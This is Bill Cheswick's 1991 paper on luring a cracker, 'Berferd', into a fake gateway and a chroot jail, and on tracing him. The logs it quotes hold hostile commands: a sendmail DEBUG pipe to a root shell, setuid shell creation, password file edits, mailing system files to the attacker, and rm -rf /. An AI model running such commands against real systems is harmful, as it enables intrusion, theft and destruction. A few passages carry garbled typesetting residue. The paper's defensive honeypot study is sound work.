An Evening with Berferd In Which a Cracker is Lured, Endured, and Studied Bill Cheswick AT&T Bell Laboratories Abstract On 7 January 1991 a cracker, believing he had discovered the famous sendmail DEBUG hole in our Internet gateway machine, attempted to obtain a copy of our password file. I sent him one. For several months we led this cracker on a merry chase in order to trace his location and learn his techniques. This paper is a chronicle of the cracker's 'successes' and disappointments, the bait and traps used to lure and detect him, and the chroot 'Jail' we built to watch his activities. We concluded that our cracker had a lot of time and persistence, and a good list of security holes to use once he obtained a login on a machine. With these holes he could often subvert the uucp and bin accounts in short order, and then root. Our cracker was interested in military targets and new machines to help launder his connections. 1. Introduction Our secure Internet gateway was firmly in place by the spring of 1990[1]. With the castle gate in place, I wondered how often the lock was tried. I knew there were barbarians out there. Who were they? Where did they attack from and how often? What security holes did they try? They weren't doing any damage to AT&T, merely fiddling with the door. The ultimate fun would be to lure a cracker into a situation where we log his sessions, learn a thing or two, and warn his subsequent targets. The owner of an average workstation on the Internet has few tools for answering these questions. Commercial systems detect and report some probes, but ignore many others. Our gateway was producing 10 megabytes of detailed logs each day for the standard services. How often were people trying to use the services we did not support? We added a few fake services, and I wrote a script to scan the logs daily. This list of services and other lures has grown - we now check the following: * FTP: The scanner produces a report of all login names that were attempted. It also reports the use of a tilde (a possible probe of an old FTP bug), all attempts to obtain FTP's /etc/passwd and /etc/group files, and a list of all files stored in the pub directory. People who obtain the passwd file are often looking for account names to try, and password entries to crack. Sometimes system administrators put their real password file in the FTP directory. We have a bogus file whose passwords, when cracked, are why are you wasting your time. * Telnet/login: All login attempts are logged and reviewed daily. It is easy to spot when someone is trying many accounts, or hammering on a particular account. Since there are no authorized accounts for Internet users on our gateway other than guard, it is easy to pick out probes. * Guest/visitor accounts: A public computer account is the first thing a cracker looks for. These accounts provide friendly, easy access to nearly every file in the machine, including the password file. The cracker can also get a list of hosts trusted by this machine from the /etc/hosts.equiv and various personal .rhosts files. Our login script for these accounts look something like this: exec 2>/dev/null # ensure that stderr doesn't appear trap "" 1 /bin/echo ( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" | upasname=adm /bin/mail ches dangelo & # (notify calling machine's administrator for some machines...) # (finger the calling machine...) ) 2>&1 | mail ches dangelo /bin/echo "/tmp full" sleep 5 # I love to make them wait.... /bin/echo "/tmp full" /bin/echo "/tmp full" /bin/echo sleep 60 # ... and simulating a busy machine is useful We have to be careful that the caller doesn't see our error messages if we make a mistake in this script. Note that $CALLER is the name or IP number of the machine on the other end. It is available to the user)r('s environment)83 801 y(through modifications to our telnetd and login programs. * SMTP DEBUG: This command used to provide a couple of trap doors into sendmail. All the vendors seemed to clean up this famous hole quite a while ago, but some crackers still try it occasionally. The hole allowed outsiders to execute a shell script as root. When someone tries this on our machine, I receive the text that the cracker wishes to have executed. * Finger: Finger provides a lot of information useful to crackers: account names, when the account was last used, and a few things to try as passwords. Since our corporate policy does not allow us to provide this information, we put in a service that rejects the call after fingering the caller. (Obviously we had to take steps to avoid fingering loops if the finger came from our gateway.) It turns out that we receive about a dozen finger requests per day, and they are mostly legitimate. We now print useful information for general queries, but mail an alarm if someone wants specific information about bogus accounts. * Rlogin/rsh: These commands rely on a notoriously insecure authentication system, which we do not support. But we do mail reports of attempts to use them along with reverse finger information and particulars like the user name and desired command. Many of these detectors perform a "reverse finger" to the calling machine. These fingers can often locate the calling user on a busy machine after several probes, and even identify the previous hop on a laundered call. When a probe appears to have no legitimate purpose, I send a message like the following: inetfans postmaster@sdsu.edu Yesterday someone from math.sdsu.edu fetched the /etc/passwd file from our FTP directory. The file is not important, but these probes are sometimes performed from stolen accounts. Just thought you'd like to know. Bill Cheswick This is a typical letter. It is sent to `inetfans' which consists of the Computer Emergency Response Team (CERT), a log, and some interested parties, plus someone who is likely to care at the offending site. Many system administrators take these reports quite seriously, especially the military sites. Generally, system administrators are quite cooperative in hunting down these problems. Responses to these letters included apologies (some lengthy), bounced messages, closed accounts, several tighter routers, and silence. When a site seems willing to sponsor repeated cracker activity we consider refusing all packets from them. 2. Unfriendly Acts We've been running this setup since July 1990. Probe rates go up during college vacations. Our rate may be higher than most, because we are well-known and considered by some to be "The Phone Company." When a caller fetches the passwd file during a long session, it is not always clear that he has evil intentions. Sometimes they are just checking to see if any transfer will work. The following log, from 15 Jan 1991, shows decidedly unfriendly activity: 19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP 19:43:14 smtpd[27466]: -------> debug 19:43:14 smtpd[27466]: DEBUG attempt 19:43:14 smtpd[27466]: <--- 200 OK 19:43:25 smtpd[27466]: -------> mail from: 19:43:25 smtpd[27466]: <--- 503 Expecting HELO 19:43:34 smtpd[27466]: -------> helo 19:43:34 smtpd[27466]: HELO from 19:43:34 smtpd[27466]: <--- 250 inet.att.com 19:43:42 smtpd[27466]: -------> mail from: 19:43:42 smtpd[27466]: <--- 250 OK 19:43:59 smtpd[27466]: -------> rcpt to: rcpt to:<|sed -e '1,/^$/'d | /bin/sh ; exit 0"> 19:44:44 smtpd[27466]: shell characters: |sed -e '1,/^$/'d | /bin/sh ; exit 0" 19:44:45 smtpd[27466]: <--- 250 OK 19:44:48 smtpd[27466]: -------> data 19:44:48 smtpd[27466]: <--- 354 Start mail input; end with . 19:45:04 smtpd[27466]: <--- 250 OK 19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security 19:45:08 smtpd[27466]: -------> quit 19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating 19:45:08 smtpd[27466]: finished. This is our log of an SMTP session. These arcane sessions are usually carried out between two mailers. In this case, there was a human at the other end typing (and mistyping) commands to our mail demon. The first thing he tried was the debug command. He must have been surprised when he got the "250 OK" response. The key line is the rcpt to: command entered at 19:44:44. The text within the angled brackets of this command is usually the address of a mail recipient. Here it contains a command line. Sendmail used to execute this command line as root when it was in debug mode. The text of the actual mail message (not logged) is piped through sed -e '1,/^$/'d | /bin/sh ; exit 0" which strips off the mail headers and executes the rest of the message as root. The text of the message was mailed to me. Here were two of these probes as I logged them, including a time stamp: 19:45 mail adrian@embezzle.stanford.edu From root@research.att.com Tue Jan 15 18:49:13 1991 Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7); Tue, 15 Jan 91 18:49:12 -0800 Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU> From: root@research.att.com Date: Tue, 15 Jan 91 21:48 EST To: adrian@embezzle.stanford.edu Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/: Daemon: *:1:1:0000-Admin(0000):/: Bin: *:2:2:0000-Admin(0000):/bin: Sys: *:3:3:0000-Admin(0000):/usr/v9/src: Adm: *:4:4:0000-Admin(0000):/usr/adm: Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp: Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico Ftp: anonymous:71:14:file transfer:/:no soap Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh Status: R ------------ Please let me know if you heard of him. My bogus password file had traveled to France! A configuration error caused our mailer to identify the password text as RFC 822 header lines, and carefully adjusted the format accordingly. The first letter was capitalized, and there was a space added after the first colon on each line. 3. An Evening with Berferd On Sunday evening, January 20, I was riveted to CNN like most people. A CNN bureau chief in Jerusalem was casting about for a gas mask. I was quite annoyed when my terminal announced a security event: 22:33 finger attempt on berferd A couple of minutes later someone used the debug command to submit commands to be executed as root ­ he wanted our mailer to change our password file! 22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd cp /bin/sh /tmp/shell chmod 4755 /tmp/shell Again, the connection came from EMBEZZLE.STANFORD.EDU. What should I do? I didn't want to actually give him an account on our gateway. Why invite trouble? I would have no keystroke logs of his activity, and would have to clean up the whole mess later. I'd like to string him along a little to see what other things he had in mind. Perhaps I could emulate the operating system by hand. This means that I'd have to teach him that the machine is slow, because I am no match for a MIPS M/120. It also meant that I would have to create a somewhat consistent simulated system, based on some decisions I made up as I went along. I already had one Decision, because he had received a password file: Decision 1 Ftp's password file was the real one. Here were a couple more: Decision 2 The gateway machine is poorly administered. (After all, it had the DEBUG hole, and the FTP directory should never contain a real password file.) Decision 3 The gateway machine is terribly slow. It could take hours for mail to get through ­ even overnight! So I wanted him to think he had changed our password file, but didn't want to actually let him log in. I could create an account, but make it inoperable. How? Decision 4 The shell doesn't reside in /bin, it resides somewhere else. This decision was pretty silly, but I had nothing to lose. I whipped up a test account b with a little shell script. It would send me mail when it was called, and had some sleeps in it to slow it down. The caller would see this: RISC/os (inet) login: b RISC/os (UMIPS) 4.0 inet Copyright 1986, MIPS Computer Systems All Rights Reserved Shell not found Decision 3 explained why it took about ten minutes for the addition to the password file. I changed the b to beferdd in the real password file. While I was setting this up he tried again: 22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd Here's another proposed addition to our password file. He must have put the space in after the login name because the previous command hadn't been "executed" yet, and he remembered the RFC 822 space in the file we sent him. Quite a flexible fellow, actually. He got impatient while I installed the new account: 22:45 talk adrian@embezzle.stand^Hford.edu talk adrian@embezzle.stanford.edu Decision 5 We don't have a talk command. Decision 6 Errors are not reported to the invader when the DEBUG hole is used. (I assume this is actually true anyway.) Also, any erroneous commands will abort the script and prevent the processing of further commands in the same script. The talk request had come from a different machine at Stanford. I notified them in case they didn't know. I checked for Scuds on the TV. He had chosen to attack the berferd account. This name came from the old Dick Van Dyke show when Jerry Van Dyke called Dick "Berferd" "because he looked like one." It seemed like a good name for our cracker. There was a flurry of new probes. I guess Berferd didn't have cable TV. 22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU 22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU 22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU 22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU) 22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU 22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU 22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd 22:57 (Added bfrd to the real password file.) 22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 23:05 echo "36.92.0.205" >/dev/null echo "36.92.0.205 embezzle.stanford.edu">>/etc./^H^H^H 23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu 23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts 23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts Apparently he was trying to rlogin to our gateway. This requires appropriate entries in some local files. At the time we did not detect attempted rlogin commands. 23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf ps -aux|mail adrian@embezzle.stanford.edu Following the presumed failed attempts to rlogin, Berferd wanted our inetd.conf file to discover which services we did provide. I didn't want him to see the real one, and it was too much trouble to make one. Decision 7 The gateway computer is not deterministic. (We've always suspected that of computers anyway.) 23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts ps -aux|mail adrian@embezzle.stanford.edu mail adrian@embezzle.stanford.edu < /etc/inetd.conf I didn't want him to see a ps output either. Fortunately, his Berkeley ps command switches wouldn't work on our System V machine. At this point I called CERT. This was an extended attack, and there ought to be someone at Stanford tracing the call. I didn't realize it would take weeks to get a trace. I wasn't sure exactly what CERT does in these circumstances. Do they call The Feds? Roust a prosecutor? Activate an international phone tap network? What they did was log and monitor everything, and try to get me in touch with a system manager at Stanford. They seem to have a very good list of contacts. By this time I had numerous windows on my terminal running tail -f on various log files. I could monitor Riyadh and all those demons at the same time. The action resumed with FTP: Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server (Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready. Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd^M Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd. Jan 20 23:37:06 inet ftpd[14437]: -------> pass^M Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood. Jan 20 23:37:13 inet ftpd[14437]: -------> pass^M Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood. Jan 20 23:37:24 inet ftpd[14437]: -------> HELP^M Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are recognized (* =>'s unimplemented). Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet. Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT^M Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye. Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0 Jan 20 23:37:31 inet inetd[116]: exit 14437 Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454 Jan 20 23:37:41 inet inetd[116]: exit 14454 23:38 finger attempt on berferd 23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv 23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b cp /bin/sh /usr/etc/fingerd Decision 4 dictates that the last line must fail. Therefore, he just broke the finger service on my simulated machine. I turned off the real service. 23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 23:58 cp /bin/csh /usr/etc/fingerd Csh wasn't in /bin either, so that command "failed." 00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd OK. Fingerd worked again. Nice of Berferd to clean up. 00:14 passwd bfrt bfrt bfrt Now he was trying to change the password. This would never work, since passwd reads its input from /dev/tty, not the shell script that sendmail would create. 00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 00:17 echo "/bin/sh" > /tmp/Shell chmod 755 /tmp/shell chmod 755 /tmp/Shell 00:19 chmod 4755 /tmp/shell 00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU At this point I was tired. CNN had nothing interesting to report from the Middle East. I wanted to continue watching Berferd in the morning, but I had to shut down my simulated machine until then. I was wondering how much effort this was worth. Cliff Stoll had done a fine job before[2] and it wasn't very interesting doing it over again. It was fun to lead this guy on, but what's the goal? I did want to keep him busy so that someone at Stanford could trace him, but they wouldn't be in until the morning. I could just shut down the gateway overnight: it is a research machine, not production. I shut down the gateway after sending out a complaint about possible disk errors. I made sure Berferd was sitting in one of those sleeps in the login when the message went out. I decided I would like to have Berferd spend more time trying to get in than I spent leading him on. (In the long run he won that battle.) After half an hour I concluded that this creep wasn't worth holding up a night's worth of mail. I brought the machine back up, and went to sleep. Berferd returned an hour later. Of course, the magic went away when I went to bed, but that didn't seem to bother him. He was hooked. He continued his attack at 00:40. The logs of his attempts were tedious until this command was submitted for root to execute: 01:55 rm -rf /& WHOA! Now it was personal! Obviously the machine's state was confusing him, and he wanted to cover his tracks. Some crackers defend their work, stating that they don't do any real damage. Our cracker tried this with us, and succeeded with this command on other systems. He worked for a few more minutes, and gave up until morning. 07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 07:14 rm -rf /& 07:17 finger attempt on berferd 07:19 /bin/rm -rf /& /bin/rm -rf /& 07:23 /bin/rm -rf /& 07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU 4. The day after It was time to catch up with all the commands he had tried after I went to sleep, including those three attempts to erase all our files. To simulate the nasty rm command, I took the machine down for a little while, cleaned up the simulated password file, and left a message from our hapless system administrator in /etc/motd about a disk crash. My log showed the rest of the queued commands: mail adrian@embezzle.stanford.edu < /etc/passwd mail adrian@embezzle.stanford.edu < /etc/hosts mail adrian@embezzle.stanford.edu < /etc/inetd.conf ps -aux|mail adrian@embezzle.stanford.edu ps -aux|mail adrian@embezzle.stanford.edu mail adrian@embezzle.stanford.edu < /etc/inetd.conf I mailed him the four simulated files, including the huge and useless /etc/hosts file. I even mailed him error messages for the two ps commands in direct violation of the no-errors Decision 6. In the afternoon he was still there, mistyping away: 13:41 Attempt to login to inet with bfrd from decaf.Stanford.EDU 13:41 Attempt to login to inet with bfrd from decaf.Stanford.EDU 14:05 Attempt to login to inet with bfrd from decaf.Stanford.EDU 16:07 echo "bffr ::7007:0::/:/v/bin/sh" >> /etc/o^Hpasswd 16:08 echo "bffr ::7007:0::/:/v/bin/sh" >> /etc/passwd He worked for another hour that afternoon, and from time-to-time over the next week or so. I went to the Dallas "CNN" Usenix, where his commands were simulated from the terminal room about twice a day. This response time was stretching credibility, but his faith seemed unflagging. 5. The Jail I never intended to use these tools to simulate a system in real-time. I wanted to watch the cracker's keystrokes, to trace him, learn his techniques, and warn his victims. The best solution was to lure him to a sacrificial machine and tap the connection. The Ethernet is easy to tap, and modified tcpdump software can separate and store the sessions. But I didn't have a spare machine handy, so I took the software route. (Steve Bellovin did construct such a machine. We never managed to lure anyone interesting to it.) I consulted the local gurus about the security of a chroot environment. Their conclusion: it is not perfectly secure, but if compilers and certain programs are missing, it is very difficult to escape. It is also not undetectable, but I figured that Berferd was always in a hurry, and probably wouldn't notice. We constructed such a chroot "Jail" (or "roach motel") and rigged up logged connections to it through our firewall machine (see Figure 1). Accounts berferd and guest were onnected to the Jail through this arrangement. Two logs were kept per session, one each for input and output. The logs were labeled with starting and ending times. The Jail was hard to set up. We had to get the access times in /dev right and update utmp for Jail users. Several raw disk files were too dangerous to leave around. We removed ps, who, w, netstat, and other revealing programs. The "login" shell script had to simulate login in several ways (see Figure 2.) Diana D'Angelo set up a believable file system (this is very good system administration practice) and loaded a variety of silly and tempting files. A little later Berferd discovered the Jail and rattled around in it. He looked for a number of programs that we later learned contained his favorite security holes. To us the Jail was not very convincing, but Berferd seemed to shrug it off as part of the strangeness of our gateway. 6. Tracing Berferd Berferd spent a lot of time in our Jail. I spent a lot of time talking to Stephen Hansen at Stanford. Stephen spent a lot of time trying to get a trace. Berferd was attacking us through one of several machines at Stanford. He connected to those machines from a terminal server connected to a Gandalf switch. He connected to the Gandalf over a telephone line. Figure 1: Connections to the Jail. I checked the times he logged in to make a guess about the time zone he might be in. Here was a simple graph I made of his session start times (PST): 1 2 Jan 012345678901234567890123 s 19 x s 20 xxxx m 21 x x xxxx t 22 xxxxx x w 23 xx x xx x xx t 24 x x f 25 x xxxx s 26 s 27 xxxx xx x m 28 x x x t 29 x xxxx x w 30 x t 31 xx Feb 012345678901234567890123 f 1 x x x s 2 x xx xxx s 3 x x xxxx x m 4 x It seemed to suggest a sleep period on the east coast of the U.S., but programmers are noted for strange hours. This analysis wasn't very useful, but was worth a try. Stanford's battle with Berferd is an entire story on its own, and I only know the outlines of their ef)o(forts. It took them a long time to arrange for a trace, and they eventually obtained several. The calls came from the Netherlands. The Dutch phone company refused to continue the trace to the caller because hacking was legal and there was no treaty in place. (A treaty requires action by the Executive branch and approval by the U.S. Senate.) In January, Wietse Venema of Eindhoven University contacted Stanford. Wietse hunted down a group of hackers, and identified Berferd, including his name, address, and phone number. He also kept an eye on Berferd's friends and their activities. # setupsucker login SUCKERROOT=/usr/spool/hacker login=`echo $CDEST | cut -f4 -d!` # extract login from service name home=`egrep "^$login:" $SUCKERROOT/etc/passwd | cut -d: -f6` PATH=/v:/bsd43:/sv; export PATH HOME=$home; export HOME USER=$login; export USER SHELL=/v/sh; export SHELL unset CSOURCE CDEST # hide these Datakit strings #get the tty and pid to set up the fake utmp tty=`/bin/who | /bin/grep $login | /usr/bin/cut -c15-17 | /bin/tail -1` /usr/adm/uttools/telnetuseron /usr/spool/hacker/etc/utmp \ $login $tty $$ 1>/dev/null 2>/dev/null chown $login /usr/spool/hacker/dev/tty$tty 1>/dev/null 2>/dev/null chmod 622 /usr/spool/hacker/dev/tty$tty 1>/dev/null 2>/dev/null /etc/chroot /usr/spool/hacker /v/su -c "$login" /v/sh -c "cd $HOME; exec /v/sh /etc/profile" /usr/adm/uttools/telnetuseroff /usr/spool/hacker/etc/utmp $tty \ >/dev/null 2>/dev/null Figure 2: The setupsucker shell script emulates login, and it is quite tricky. We had to make the environment variables look reasonable and attempted to maintain the Jail's own special utmp entries for the residents. We had to be careful to keep errors in the setup scripts from the hacker's eyes. At Stanford, Berferd was causing mayhem. He had subverted a number of machines and probed many more. Stephen Hansen at Stanford and Tsutomu Shimomura of Los Alamos had some of the networks bugged. Tsutomu modified tcpdump to provide a time-stamped recording of each packet. This allowed him to replay real-time terminal sessions. Berferd attacked many systems at Stanford. They got very good at stopping his attacks within minutes after he logged into a new machine. In one instance they watched his progress using the ps command. His login name changed to uucp and then bin before the machine "had disk problems." Berferd used Stanford as a base for many months. There are tens of megabytes of logs of his activites. He had remarkable persistence at a very boring job of poking computers. Once he got an account on a machine, there was little hope for the system administrator. Berferd had a fine list of security holes. He knew obscure sendmail parameters and used them well. (Yes, some sendmails have security holes for logged-in users, too. Why is such a large and complex program allowed to run as root?) He had a collection of thoroughly invaded machines, complete with SUID-to-root shell scripts usually stored in /usr/lib/term/.s. You do not want to give him an account on your computer. 7. Berferd comes home In the Sunday New York Times on 21 April 1991, John Markoff broke some of the Berferd story. He said that authorities were pursuing several Dutch hackers, but were unable to prosecute them because hacking is not illegal under Dutch law. The hackers heard about the article within a day or so. Wietse collected some mail between several members of the Dutch cracker community. It was clear that they had bought the fiction of our machine's demise. One of Berferd's friends found it strange that the Times didn't include our computer in the list of those damaged. On 1 May Berferd logged into the Jail. By this time we could recognize him by his typing speed and errors and the commands he used to check around and attack. He probed various computers, while consulting the network whois service for certain brands of hosts and new targets. He did not break into any of the machines he tried from our Jail. Of the hundred-odd sites he attacked, three noticed the attempts, and followed up with calls from very serious security officers. I explained to them that the hacker was legally untouchable as far as I knew, and the best we could do was log his activities and supply logs to the victims. Berferd had many bases for laundering his connections. It was only through persistence and luck that he was logged at all. Would the system administrator of an attacked machine prefer a log of the cracker's attack to vague deductions? Damage control is much easier when the actual damage known. If a system administrator doesn't have a log, he should reload his compromised system from the release tapes. The systems administrators and their management agreed with me, and asked that I keep the Jail open. At the request of management I shut the Jail down on 3 May. Berferd tried to reach it a few times, and went away. The last I heard was that he was operating from a computer in Sweden. 8. Conclusions For me, the most important lesson was if a hacker obtains a login on a machine, there is a good chance he can become root sooner or later. There are many buggy programs that run at high privileged levels that offer opportunities for a cracker. If he gets a login on your computer, you are in trouble. Other conclusions are: * Though the Jail was an interesting and educational exercise, it was not worth the effort. It is too hard to get it right, and never quite secure. A better arrangement involves a throwaway machine with real security holes, and a monitoring machine on the same Ethernet to capture the bytes. Our version of the monitoring machine had the transmit wire in the transceiver cable cut to avoid any possibility of releasing telltale packets. * Breaking into computers requires a good list of security holes and a lot of persistence. * Processing these security pokes isn't much fun any more. Once you go out of the computer environment that you control, tracing is difficult. It can involve many carriers, law enforcement agencies, and even the U.S. Senate. There are other services we should monitor. Tftp is certainly one: it easily provided the password file from a large number of machines I tested. I would also like to monitor unsuccessful connection attempts to unused UDP and TCP ports to detect unusual scanners. 9. Acknowledgements A number of people worked very hard on this problem. They include Stephen Hansen, Todd Atkins, and others at Stanford, Tsutomu Shimomura of Los Alamos, and Wietse Venema of Eindhoven University. Locally, Paul Glick and Diana D'Angelo worked on the Jail. Steve Bellovin provided numerous insights, traps, and a dedicated bait machine. Jim Reeds offered a number of helpful suggestions. 10. References [1] Cheswick, W.R. The Design of a Secure Internet Gateway. USENIX Summer Conference Proceedings, June 1990. [2] Stoll, C. The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage. Pocket Books, New York, 1990. William R. Cheswick has been a member of the technical staff in the Computer Science Research division of AT&T Bell Laboratories since 1987. He has worked on networking, system administration, and security. Previously he was a system programmer for several university computer centers, a programmer and electrical engineer for the American Newspapers Publishing Association Research Institute, and a contractor to the Navy. Bill has an undergraduate degree in Fundamental Science from Lehigh University.